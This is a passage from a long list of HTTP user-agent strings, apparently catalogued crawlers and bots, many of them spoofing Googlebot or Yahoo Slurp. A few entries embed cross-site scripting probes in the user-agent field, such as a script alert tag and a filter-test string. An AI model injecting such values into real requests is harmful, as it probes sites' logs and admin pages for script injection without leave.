http://www.botje.com/plukkie.htm) Mozilla/5.0 (compatible; pmoz.info ODP link checker; +http://pmoz.info/doc/botinfo.htm) Mozilla/5.0 (compatible; PrintfulBot/1.0; +http://printful.com/bot.html) Mozilla/5.0 (compatible; ptd-crawler; +http://bixolabs.com/crawler/ptd/; crawler@bixolabs.com) Mozilla/5.0 (compatible; Purebot/1.1; +http://www.puritysearch.net/) Mozilla/5.0 (compatible; pycurl) Mozilla/5.0 (compatible; Qualidator.com Bot 1.0;) Mozilla/5.0 (compatible; Quantcastbot/1.0; +http://www.quantcast.com/bot.html) Mozilla/5.0 (compatible; Quantcastbot/1.0; www.quantcast.com) Mozilla/5.0 (compatible; redditbot/1.0; +http://www.reddit.com/feedback) Mozilla/5.0 (compatible; Rexyobot/1.09; +http://www.rexyo.com/robot.html) Mozilla/5.0 (compatible; Rexyobot/2.03; +http://www.rexyo.com) Mozilla/5.0 (compatible; Rexyobot/2.04; +http://www.rexyo.com) Mozilla/5.0 (compatible; RexyoBot/2.1.17; +http://www.rexyo.com) Mozilla/5.0 (compatible; RexyoBot/2.1.18; +http://www.rexyo.com) Mozilla/5.0 (compatible; RexyoBot/2.1.20; +http://www.rexyo.com) Mozilla/5.0 (compatible; rexyobot/2.12; +http://www.rexyo.com) Mozilla/5.0 (compatible; Rexyobot/2.13; +http://www.rexyo.com) Mozilla/5.0 (compatible; Robot/1.X) Mozilla/5.0 (compatible; RssFetcherBot; +http://www.perdu.com) Mozilla/5.0 (compatible; RSSMicro.com RSS/Atom Feed Robot) Mozilla/5.0 (compatible; scaredFox/0.3b; +http://crawlers.tdmsic.org/scaf_crawler.htm) Mozilla/5.0 (compatible; scaredFox/0.4b; +http://crawlers.tdmsic.org/scaf_crawler.htm) Mozilla/5.0 (compatible; scaredFox/0.5b; +http://crawlers.tdmsic.org/scaf_crawler.htm) Mozilla/5.0 (compatible; Scarlett/ 1.0; +http://www.ellerdale.com/crawler.html) Mozilla/5.0 (compatible; Search17Bot/1.1; http://www.search17.com/bot.php) Mozilla/5.0 (compatible; SecretSerachEngineLabs.com-SBSearch/0.9; http://www.secretsearchenginelabs.com/secret-web-crawl... Mozilla/5.0 (compatible; Seesaa Slurp/1.0; en-US; rv:1.0.0.1 http://star-akina.seesaa.net/) Mozilla/5.0 (compatible; seexie.com_bot/4.1; +http://www.seexie.com) Mozilla/5.0 (compatible; Semager/1.4; http://www.semager.de/blog/semager-bots/) Mozilla/5.0 (compatible; SERPAnalytics; +http://www.serpanalytics.com/docs/bot) Mozilla/5.0 (compatible; sgbot v0.01a, sgcrawlerbot@gmail.com) Mozilla/5.0 (compatible; sindice-fetcher/0.1.0 +http://sindice.com/developers/bot) Mozilla/5.0 (compatible; SiteBot/0.1; +http://www.sitebot.org/robot/) Mozilla/5.0 (compatible; slow-crawler +http://casr.ou.edu) Mozilla/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (compatible; Snappybot/0.1) Mozilla/5.0 (compatible; spbot/1.0; +http://www.seoprofiler.com/bot/ ) Mozilla/5.0 (compatible; spbot/1.1; +http://www.seoprofiler.com/bot/ ) Mozilla/5.0 (compatible; spbot/1.2; +http://www.seoprofiler.com/bot/ ) Mozilla/5.0 (compatible; spbot/2.0.1; +http://www.seoprofiler.com/bot/ ) Mozilla/5.0 (compatible; spbot/2.0.2; +http://www.seoprofiler.com/bot/ ) Mozilla/5.0 (compatible; spbot/2.0.3; +http://www.seoprofiler.com/bot/ ) Mozilla/5.0 (compatible; spbot/2.0.4; +http://www.seoprofiler.com/bot ) Mozilla/5.0 (compatible; spbot/2.0; +http://www.seoprofiler.com/bot/ ) Mozilla/5.0 (compatible; spbot/2.1; +http://www.seoprofiler.com/bot ) Mozilla/5.0 (compatible; spbot/3.0; +http://www.seoprofiler.com/bot ) Mozilla/5.0 (compatible; Speedy Spider; http://www.entireweb.com/about/search_tech/speedy_spider/) Mozilla/5.0 (compatible; Steeler/3.4; http://www.tkl.iis.u-tokyo.ac.jp/~crawler/) Mozilla/5.0 (compatible; Steeler/3.5; http://www.tkl.iis.u-tokyo.ac.jp/~crawler/) Mozilla/5.0 (compatible; SuchbaerBot/0.4.3a; +http://bot.suchbaer.de/info.html) Mozilla/5.0 (compatible; SuchbaerBot/0.4.X; +http://bot.suchbaer.de/info.html) Mozilla/5.0 (compatible; SuchbaerBot/0.4; +http://bot.suchbaer.de/info.html) Mozilla/5.0 (compatible; SuchbaerBot/0.6; +http://bot.suchbaer.de/info.html) Mozilla/5.0 (compatible; SuchbaerBot/0.83; +http://bot.suchbaer.de/info.html) Mozilla/5.0 (compatible; suggybot v0.01a, http://blog.suggy.com/was-ist-suggy/suggy-webcrawler/) Mozilla/5.0 (compatible; SummizeBot +http://www.summize.com) Mozilla/5.0 (compatible; Supendobot/0.2; +http://www.supendo.com/bot.html Mozilla/5.0 (Compatible; Supybot 0.83.4.1) Mozilla/5.0 (Compatible; Supybot 0.83.4.1+git) Mozilla/5.0 (Compatible; Supybot 0.83.4.1+gribble (2011-03-13T14:21:46-0400)) Mozilla/5.0 (compatible; Tagoobot/3.0; +http://www.tagoo.ru) Mozilla/5.0 (compatible; TheLittleEngineThatCouldSnoopAround-Bot/0.0.12) Mozilla/5.0 (compatible; Thumbshots.ru; +http://thumbshots.ru/bot) Mozilla/5.0 (compatible; trovitBot/1.0; +http://www.trovit.com/bot.html) Mozilla/5.0 (compatible; TweetedTimes Bot/1.0; +http://tweetedtimes.com) Mozilla/5.0 (compatible; VDBot/1.0; +http://www.bvdep.com/) Mozilla/5.0 (compatible; vermut +http://vermut.aol.com) Mozilla/5.0 (compatible; VH Bot/1.0;) Mozilla/5.0 (compatible; VideoSurf_bot +http://www.videosurf.com/bot.html) Mozilla/5.0 (compatible; Viralheat Bot/1.0; +http://www.viralheat.com/) Mozilla/5.0 (compatible; Webbot/0.1; http://www.webbot.ru/bot.html) Mozilla/5.0 (compatible; WebDataCentreBot/1.0; +http://WebDataCentre.com/) Mozilla/5.0 (compatible; Webduniabot/1.0; +http://search.webdunia.com/bot.aspx) Mozilla/5.0 (compatible; Windows NT 6.0) Gecko/20090624 Firefox/3.5 NjuiceBot Mozilla/5.0 (compatible; Windows) AppEngine-Google; (+http://code.google.com/appengine; appid: unmask-parasites) Mozilla/5.0 (compatible; woriobot +http://worio.com) Mozilla/5.0 (compatible; woriobot heritrix/1.10.0 +http://worio.com) Mozilla/5.0 (compatible; woriobot support [at] worio [dot] com +http://worio.com) Mozilla/5.0 (compatible; X11; Linux x86; en-US; ppclabs_bot/1.0) http://operations.ppclabs2.com for abuse report Mozilla/5.0 (compatible; X11; U; Linux i686 (x86_64); en-US; <a href=http://gnomit.com/>Gnomit</a&a... Mozilla/5.0 (compatible; XmarksFetch/1.0; +http://www.xmarks.com/about/crawler; info@xmarks.com) Mozilla/5.0 (compatible; xrss; robot; http://www.xrss.eu/robot; version 2.0) Mozilla/5.0 (compatible; Yahoo! DE Slurp; http://help.yahoo.com/help/us/ysearch/slurp) Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html) Mozilla/5.0 (compatible; Yahoo! Slurp/3.0 ; http://help.yahoo.com/help/us/ysearch/slurp) Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp) Mozilla/5.0 (compatible; Yahoo! Slurp/si-emb; http://help.yahoo.com/help/us/ysearch/slurp) Mozilla/5.0 (compatible; Yahoo! Slurp; http://abwc.iespana.es/forum/index.php) Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearc Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp) Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp) AppEngine-Google; (+http://code.goog... Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp) AutoPager/0.5.2.2 (http://www.teesof... Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp) FirePHP/0.5 Mozilla/5.0 (compatible; Yahoo! Slurp;http://help.yahoo.com/help/us/ysearch/slurp) Mozilla/5.0 (compatible; YandexAntivirus/2.0; +http://yandex.com/bots) Mozilla/5.0 (compatible; YandexBot/3.0) Mozilla/5.0 (compatible; YandexBot/3.0; http://yandex.com/bots) Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) Mozilla/5.0 (compatible; YandexBot/3.0; MirrorDetector; http://yandex.com/bots) Mozilla/5.0 (compatible; YandexBot/3.0; MirrorDetector; +http://yandex.com/bots) Mozilla/5.0 (compatible; YandexFavicons/1.0; +http://yandex.com/bots) Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots) Mozilla/5.0 (compatible; YandexMedia/3.0; +http://yandex.com/bots) Mozilla/5.0 (compatible; YandexZakladki/3.0; Dyatel; +http://yandex.com/bots) Mozilla/5.0 (compatible; YesupBot/1.0; +http://www.yesup.net/bot.html) Mozilla/5.0 (compatible; YioopBot +http://www.yioop.com/bot.php) Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; ) Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; ) Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; ) Mozilla/5.0 (compatible; zermelo +http://www.powerset.com) [email:paul@page-store.com,crawl@powerset.com] Mozilla/5.0 (compatible; zermelo; +http://www.powerset.com) [email:paul@page-store.com,crawl@powerset.com] Mozilla/5.0 (compatible;+ParchBot/1.0;++http://www.parchmenthill.com/search.htm) Mozilla/5.0 (compatible;FindITAnswersbot/1.0; http://search.it-influentials.com/bot.htm) Mozilla/5.0 (compatible;FindITAnswersbot/1.0; +http://search.it-influentials.com/bot.htm) Mozilla/5.0 (compatible;Googlebot/2.1 ; +http://www.google.com/bot.htlm) Mozilla/5.0 (compatible;Googlebot/2.1+(+http://www.google.com/bot.html Mozilla/5.0 (compatible;Googlebot/2.1+(+http://www.google.com/bot.html) Mozilla/5.0 (compatible;Googlebot/2.1; + http://www.google.com/bot/html) Mozilla/5.0 (compatible;Googlebot/2.1; +http://google.com/bot.html) Mozilla/5.0 (compatible;Googlebot/2.1; +http://www.google.com/bot.html) Mozilla/5.0 (compatible;googlebot/2.1; +http://www.google.com/bot.html),gzip(gfe) (via translate.google.com) Mozilla/5.0 (compatible;Googlebot/2.1; http://www.google.com/bot.html) Mozilla/5.0 (Compatible;Googlebot/2.1;+http://www.google.com/bot.html) Mozilla/5.0 (compatible;YodaoBot-Image/1.0;http://www.yodao.com/help/webmaster/spider/;) Mozilla/5.0 (compatible;YodaoBot-Image/1.0;http://www.youdao.com/help/webmaster/spider/;) Mozilla/5.0 (CP/M; 8-bit; rv:99.99.99.99) Nutscrape/1.0 Mozilla/5.0 (Crawler) Mozilla/5.0 (Googlebot-Image/1.0) Mozilla/5.0 (infoSpider-Bot/2.0; support@infospider.com; http://www.infospider.com/) Mozilla/5.0 (iPhone; U; CPU iPhone 0S 3.0 like Mac 0S X; en-us; compatible; Googlebot/2.1; http://www.google.com/bot.htm... Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobil... Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobil... Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobi... Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0_1 like Mac OS X; fr-fr) OrangeBot-Mobile AppleWebKit/532.9 (KHTML, like Gecko)... Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419... Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419... Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419... Mozilla/5.0 (iphone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, Like Gecko) Version/3.0 Mobile/1A5A3 Safari/419.... Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:2.0b2) Gecko/20100720 AdultsVisitUs/Nutch-1.1 (www.AdultsVisitUs.com; cr... Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:2.0b2) Gecko/20100720 Firebot Beta 1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:2.0b2) Gecko/20100720 Googlebot/2.1 ( http://www.googlebot.com/bot.html)... Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:2.0b2) Gecko/20100720 Mozilla/5.0 (compatible; Googlebot/2.1; +http://ww... Mozilla/5.0 (Macintosh; Intel Mac OS X; U; Googlebot/2.1 (http://www.googlebot.com/bot.html)"; en; rv:1.8.0) Ge... Mozilla/5.0 (Macintosh; Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html); PPC Mac OS X 10.5; Moz... Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.0.17) Gecko/2009122115 diffbot/0.3.7 (http://www.diffbot.c... Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.1) Gecko/2008070206 Googlebot/2.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.10) Gecko/2009042315 Googlebot 2.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008092414 Googlebot 2.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3) Gecko/20090305 Googlebot 2.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.2.10) Gecko/20100914 Googlebot/2.1 (+http://www.google.com/bo... Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.6) Gecko/20091201 Ant.com Toolbar 1.5 facebookscraper/1.... Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.6) Gecko/20091201 Ant.com Toolbar 1.5 http://www.faceboo... Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (+http://flipboard.com/crawl... Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 Googlebot Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.8; flipboard.com/crawler rv:0.0.5) Gecko Firefox Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.9) Gecko/20100824 Yahoo! Slurp Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12) Gecko/20080201 Googlebot 2.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12) Gecko/20080201 Googlebot/1.0 (googlebot@googlebot.com htt... Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.14) Gecko/20080404 Googlebot 2.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.16) Gecko/20080702 Googlebot 2.1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.2) Gecko/20070219 Googlebot/2.1 (+http://www.googlebot.com/bo... Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.7) Gecko/20070914 Googlebot/2.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; fr; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4 ShopandBuy Bot Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; fr; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 ShopandBuy Bot Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9/Nutch-1.0 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; fr; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 ShopandBuy Bot Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/539 (KHTML, like Gecko) Version/4.2 Safari/539.8 AppEngine-Goog... Mozilla/5.0 (MrCarlito-0.1 http://www.mrcarlito.com/spider.html) Mozilla/5.0 (msnbot/x.xx ( http://search.msn.com/msnbot.htm)) Mozilla/5.0 (MultiplicoBot www.multiplico.de) Mozilla/5.0 (RSBot-0.1; http://randall.spb.ru/rsbot.html) Mozilla/5.0 (Slurp/cat; slurp@inktomi.com; http://www.inktomi.com/slurp.html) Mozilla/5.0 (Slurp/si; slurp@inktomi.com; http://www.inktomi.com/slurp.html) Mozilla/5.0 (SnapPreviewBot) Gecko/20061206 Firefox/1.5.0.9 Mozilla/5.0 (SnapPreviewBot) Gecko/20061206 Firefox/1.5.0.9,gzip(gfe) (via translate.google.com) Mozilla/5.0 (superbot.com; +http://www.super.info) Mozilla/5.0 (TSESpiderrBot Beta V1;http://www.touristsearchengine.com) Mozilla/5.0 (Twiceler +http://www.cuil.com/twiceler/robot.html) Mozilla/5.0 (Twiceler-0.9 http://www.cuil.com/twiceler/robot.html) Mozilla/5.0 (Twiceler-0.9 http://www.cuill.com/twiceler/robot.html) Mozilla/5.0 (Twitterbot/0.1) Mozilla/5.0 (W3 SiteSearch Crawler_v2.5-VM http://www.w3sitesearch.de) Mozilla/5.0 (Windows NT 5.1; rv:2.0b10) Gecko/20100101 Firefox/4.0b10 slurp Mozilla/5.0 (Windows NT 6.1; rv:2.0b10pre) Gecko/20110114 Firefox/4.0b10pre AppEngine-Google; (+http://code.google.com/a... Mozilla/5.0 (Windows; Googlebot 2.1; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 YFF3 Firefox/3.0.10 Mozilla/5.0 (Windows; Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html); Windows NT 5.1; Mozilla/... Mozilla/5.0 (Windows; N; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)/Nutch-1.0 (Crawler; lucene.apache.org/nutch/... Mozilla/5.0 (Windows; N; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)/Nutch-1.1 (Crawler; lucene.apache.org/nutch/... Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1.11) Gecko/20071127 Gogglebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 4.1; en-US; Googlebot/2.1) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/7.0.1.1 Safa... Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.14) Gecko/20080404 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.11) Gecko/2009060215 Googlebot/2.X (http://www.googlebot.com/bo... Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.1.4) Gecko/20091016 Firefox G1oogl11ebot Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) PyFiBot Mozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.9.1.3) Gecko/20090824 Select all Googlebot/2.X How Google crawls my si... Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.1) Gecko/20061204 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.18) Gecko/20081029 Dealio Toolbar 3.4 Googlebot/2.X Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.10) Gecko/2009042316 Googlebot/2.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.10) Gecko/2009042316 Googlebot2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.6) Gecko/2009011913 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.3) Gecko/20090824 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.2 <script>alert('tach ... Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.5) Gecko/20091102 Googlebot/2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.8) Gecko/20100202 Googlebot/2.1 (+http://www.google.com/bot.html) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729) slurp Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.12) Gecko/20101026 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.12) Gecko/20101026 Googlebot 2.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Gecko/20101203 Googlebot/2.1+(+http://www.google.com/bot.html)... Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Googlebot/2.1+(+http://www.google.com/bot.html) ... Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Googlebot/2.1 (+http://www.googlebot.com/bot.htm... Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2b4) Gecko/20091124 Firefox/3.5.2 <script>alert('tach ... Mozilla/5.0 (Windows; U; Windows NT 5.1; en"-><script>alert('xss')</script>u... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.7) Gecko/20060909 Mozilla/5.0 (compatible; Googlebot/2.1; +http... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.12) Gecko/20080201 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.14) Gecko/20080404 Googlebot/2.1 (+http://www.googlebot.com/bot... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4/Nutch-0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.9/Nutch-0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10; Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.3) Gecko/2008092417 Mozilla/2.0 (compatible; Ask Jeeves/Teoma; ... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.5) Gecko/2008120122 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 TweetmemeBot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.8) Gecko/2009032609 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.9) Gecko/2009040821 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.1) Gecko/20090715 Googlebot/2.1+(+http://www.google.com/bot.htm... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.7) Gecko/20091221 '';!--"<>=&{()}&am... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2) Gecko/20100115 Googlebot/2.X Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10/... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Speedy Spider (http://www.entireweb.com/about/search_tech/speedy_spider/... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051111 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.10) Gecko/20071115 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.6 MEGAUPLOAD 1.0 GoogleBot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Googlebot/2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Googlebot/2.X (http://www.googlebot.com/bot.... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 msnbot/1.0 (+http://search.msn.com/msnbot.ht... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.9 MEGAUPLOAD 2.0 Googlebot1988... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.12) Gecko/20080201 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.4 MEGAUPLOAD 1.0 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Googlebot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0 MEGAUPLOAD 1.0 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14 AppEngine-Google; (+http://... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 GoogleBot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17) Gecko/20080829 Googlebot/2.X How Google crawls my site Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/4.0.0.20;Googlebot 2.1 (.NET CLR 2.0... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4 AppEngine-Google; (+http:/... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Googlebot/2.1 (+http://www.google.com/bot.htm... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Googlebot/2.1""Compatible&a... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 "Nokia6820/2.0 (4.83) Profile/MIDP-1... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.4) Gecko/20070515 Googlebot/2.1 (+http://www.googlebot.com/bot.... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 ichiro/2.0 (http://help.goo.ne.jp/door/crawl... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 "Nokia6820/2.0 (4.83) Profile/MIDP-1... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 (compatible; Googlebot/2.1; +http://www.googl... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.5) Gecko/20070713 http://www.botsvsbrowsers.com/details/300/ind... Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7) Gecko/20070914 (CK-sbopiambot) Firefox/2.0.0.7 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.7) Gecko/20070914 googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8; Diffbot http://www.diffbot.com) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0 Googlebot1988 Media-Player/10.0.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0 MEGAUPLOAD 1.0 Googlebot 2.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0/1.0 (bot; http://) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0/1.0 (bot; http://; bot@bot.com) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 Firefox/3.0; Googlebot Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9) Gecko/2008052906 googlebot Mozilla/5.0 